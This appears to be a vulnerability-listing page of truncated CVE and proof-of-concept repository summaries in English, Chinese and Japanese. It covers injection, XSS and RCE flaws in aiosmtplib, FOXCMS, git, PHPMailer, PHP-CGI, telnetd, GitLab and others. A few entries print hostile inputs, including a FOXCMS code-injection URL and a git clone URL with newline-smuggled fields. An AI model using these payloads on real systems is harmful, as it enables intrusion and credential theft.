CVE-2026-90467

aiosmtplib before 5.1.3 fails to properly validate email addresses supplied by callers, allowing attackers to inject ESMTP parameters into MAIL FROM and RCPT TO command lines. Attackers can craft malicious addresses containing spaces and angle brackets to append parameters like AUTH, NOTIFY, or...

CVE-2026-90467 aiosmtplib before 5.1.3 ESMTP Parameter Injection via unvalidated addresses

aiosmtplib before 5.1.3 fails to properly validate email addresses supplied by callers, allowing attackers to inject ESMTP parameters into MAIL FROM and RCPT TO command lines. Attackers can craft malicious addresses containing spaces and angle brackets to append parameters like AUTH, NOTIFY, or...

EUVD-2026-76774

aiosmtplib before 5.1.3 fails to properly validate email addresses supplied by callers, allowing attackers to inject ESMTP parameters into MAIL FROM and RCPT TO command lines. Attackers can craft malicious addresses containing spaces and angle brackets to append parameters like AUTH, NOTIFY, or...

CVE-2026-90467

aiosmtplib before 5.1.3 fails to properly validate email addresses supplied by callers, enabling ESMTP parameter injection into MAIL FROM and RCPT TO envelope commands. Attackers can craft malicious addresses containing spaces and angle brackets to append parameters such as AUTH , NOTIFY , or ORC...

PT-2026-90555

aiosmtplib before 5.1.3 fails to properly validate email addresses supplied by callers, allowing attackers to inject ESMTP parameters into MAIL FROM and RCPT TO command lines. Attackers can craft malicious addresses containing spaces and angle brackets to append parameters like AUTH, NOTIFY, or...

CVE-2021-37833

CVE 2021-37833 Hotel Druid 3.0.2 反射型クロスサイトスクリプティング脆弱性 Hotel Druid アプリケーションのバージョン 3.0.2 の複数のページに反射型クロスサイトスクリプティング脆弱性が存在し、任意の JavaScript コマンドの実行が可能です。 https://vulners.com/cve/CVE-2021-37833 脆弱な PHP ページ: creamodelli.php - cambiafrasi パラメータ visualizzatabelle.php - 任意の URL パラメータ tabella.php - 任意の URL...

CVE-2025-29306

CVE-2025-29306 FOXCMS黔狐内容管理系统服务参数注入漏洞 一、漏洞简介 FoxCMS是一套可免费商用且开源的网站管理系统,采用PHP+MySQL架构。 FOXCMS黔狐内容管理系统存在服务参数注入漏洞，攻击者可利用该漏洞获取服务器控制权。 二、漏洞影响 FOXCMS黔狐内容管理系统 V1.2 三、复现过程 POC http://xx/images/index.html?id=%24%40printphpinfo 输入Poc访问漏洞页面 发现phpinfo命令执行后的信息...

CVE-2020-6308-PoC

CVE-2020-6308 SAP POC SAP BusinessObjects Business Intelligence Platform（Web 服务）版本 410、420、430 存在漏洞，允许未经身份验证的攻击者注入任意值作为 CMS 参数，从而对内部网络进行查询，而这些查询通常无法从外部访问。在推特上关注我或私信提问：https://twitter.com/initroott 我于 2020 年 5 月向 SAP 报告了此问题，补丁于 2020 年 10 月发布。你可以继续开发自己的 PoC，不过我会提供一些背景信息。 CMS...

-CVE-2023-43340-Evolution-Reflected-XSS---Installation-Admin-Options

Evolution CMS 反射型XSS v3.2.3 作者：Sergio 描述： Evolution v.3.2.3 安装过程中的管理员选项存在多个反射型跨站脚本（XSS）漏洞，允许本地攻击者通过向 cmsadmin、cmsadminemail、cmspassword 和 cmspasswordconfim 参数注入精心构造的负载来执行任意 Web 脚本。 攻击向量： 在数据库安装管理员选项过程中，对 cmsadmin、cmsadminemail、cmspassword 和 cmspasswordconfim 参数的消毒存在漏洞，允许注入 JavaScript 代码。 POC：...

cve-2020-5260

cve-2020-5260 一个针对 cve-2020-5260 的 HTTP PoC 端点，可部署到 Heroku 致谢信息 Google Project Zero 的 Felix Wilhelm https://bugs.chromium.org/p/project-zero/issues/detail?id=2021 触发漏洞 root@kitploit: git clone 'https://YourHerokuAppNameAndNotMine.herokuapp.com?%0ahost=github.com%0aprotocol=ssh' 将 PoC 部署到 Heroku...

CVE-2018-20580

CVE-2018-20580 ReadyAPI 2.5.0/2.6.0 における相互作用を伴うリモートコード実行の概念実証 はじめに 2018年12月、私はReadyAPIに新しい脆弱性を発見しました。この脆弱性により、攻撃者はローカルマシン上でリモートコードを実行でき、開発者やペネトレーションテスターなどの ReadyAPI ユーザーを危険にさらします。 ReadyAPI は、ユーザーが SOAP プロジェクトを開き、WSDL ファイルをインポートすることで、リモートサーバーと簡単に通信できるようにします。 WSDL...

cve-2022-31749

CVE-2022-31749 by 1vere$k CVE-2022-31749 的简易 PoC 检测器，作者 1vere$k。 它利用了 WatchGuard SSH 接口中的一个参数注入漏洞。 该漏洞允许低权限用户将任意系统文件外泄到攻击者控制的 FTP 服务器。 幸运的是，脚本默认使用一个名为 status 的内置低权限用户。 假设 status 用户 使用 readonly 密码，这并非不合理，但并非必须。 该利用程序外泄用户文件 configd-hash.xml。 此文件包含哈希后的用户密码。 哈希只是无盐 MD4。@funoverip 早在2013年就描述了使用 hashca...

FOXCMS-CVE-2025-29306-POC

FOXCMS 参数注入 RCE – CVE-2025-29306 本仓库包含一个基于 Python 的 PoC，可复现影响 FOXCMS v1.2（一款中文开源内容管理系统）的远程代码执行（RCE）漏洞。 CVE 编号：CVE-2025-29306 影响版本：FOXCMS v1.2 类型：服务参数注入 → 代码执行 漏洞概述 FOXCMS 在 /images/index.html 端点的 id 参数中使用了不安全的参数解析机制。攻击者可利用 $@print 表达式注入载荷，从而导致 PHP 代码执行。 PoC 使用方法 环境要求 Python 3.x requests 库...

CVE-2025-54589

CVE-2025-54589 – Copyparty 反射型XSS 著者: Byte Reaper 説明 : このリポジトリは、Copyparty ≤ 1.18.6 における反射型クロスサイトスクリプティング（XSS）脆弱性 CVE-2025-54589 の Proof-of-Concept PoC と簡単なエクスプロイトを提供します。 filter パラメータに細工された JavaScript ペイロードを注入することで、このツールは脆弱性の検出を自動化し、成功した反射をログに記録します。 機能 : HTTP および HTTPS ターゲットをサポート オプションのカスタム cookie...

hook

Hook Hook 利用了 WatchGuard SSH 接口中的一个参数注入漏洞。该漏洞允许低权限用户将任意系统文件外泄到攻击者控制的 FTP 服务器。幸运的是，该脚本默认使用一个名为 status 的内置低权限用户。假设 status 用户使用 readonly 作为密码并非不合理，但这不是必需的。 Hook 会外泄用户文件 configd-hash.xml。该文件包含已哈希的用户密码。这些哈希只是未加盐的 MD4。@funoverip 早在 2013 年就描述了使用 hashcat 破解此文件中哈希的方法。 使用示例 root@kitploit:...

CVE-2016-10033

CVE-2016-10033 – PHPMailer 远程代码执行 📌 描述 此仓库包含针对 CVE-2016-10033 的概念验证（PoC）漏洞利用程序， 该漏洞存在于 5.2.18 之前版本的 PHPMailer 中。 该问题源于 PHP 内置 mail 函数的 $additionalparameters 参数被不当处理， 攻击者可借此向 sendmail 注入额外的命令行参数。这可以被滥用来向 Web 可访问目录写入任意 PHP 代码，从而导致 远程代码执行（RCE） 。 ⚠️ 免责声明 此项目仅用于教育和授权安全测试目的 。 请勿针对您不拥有或未经许可测试的系统使用此漏洞利用程序...

django-connector-CVE-2025-64459-testbed

Django-CVE-2025-64459-Testbed A self-contained testbed for Django CVE-2025-64459. Demonstrates QuerySet.filter parameter injection via dictionary expansion using Docker. About the Vulnerability CVE-2025-64459 is a high-severity vulnerability in Django specifically versions 5.1.14 that allows...

cve-2024-4577-lab

CVE-2024-4577 — PHP-CGI 参数注入 → RCE（Docker 实验环境 / CTF） 一个自包含、从零构建的 Docker 实验环境 ，演示了 CVE-2024-4577 背后的 真实 参数注入 → 远程代码执行原语。 通过 http://localhost:8080 利用它，获取 shell，并从容器内部读取 flag。 这是一个真实的漏洞，而非模拟漏洞。 该容器会编译一个未打补丁的 PHP 5.4.1 CGI 二进制文件，并以真实易受攻击主机的配置方式将其接入 Apache。其中没有任何虚假的 “if password == flag” 检查——获取 flag...

CVE-2026-24061

GNU InetUtils telnetd 参数注入认证绕过（CVE-2026-24061） 2026年1月，来自 GNU InetUtils 的 GNU telnetd 服务被Kyu Neushwaistein（又名 Carlos Cortes Alvarez） 发现存在认证绕过漏洞。该漏洞被追踪为 CVE-2026-24061，允许攻击者在无需提供有效凭据的情况下建立 Telnet 会话，从而获得对目标系统的未授权访问。该漏洞存在于 GNU telnetd 服务直至 2.7-2 版本的所有版本中，看起来就像是直接从 90 年代搬出来的。 这是一个参数注入漏洞（CWE-88），CVSS...

CVE-2023-7028

GitLab CVE-2023-7028 POC root@kitploit: [email protected]&[email protected] 科研机构base成都-招聘网络安全研究人员（私）...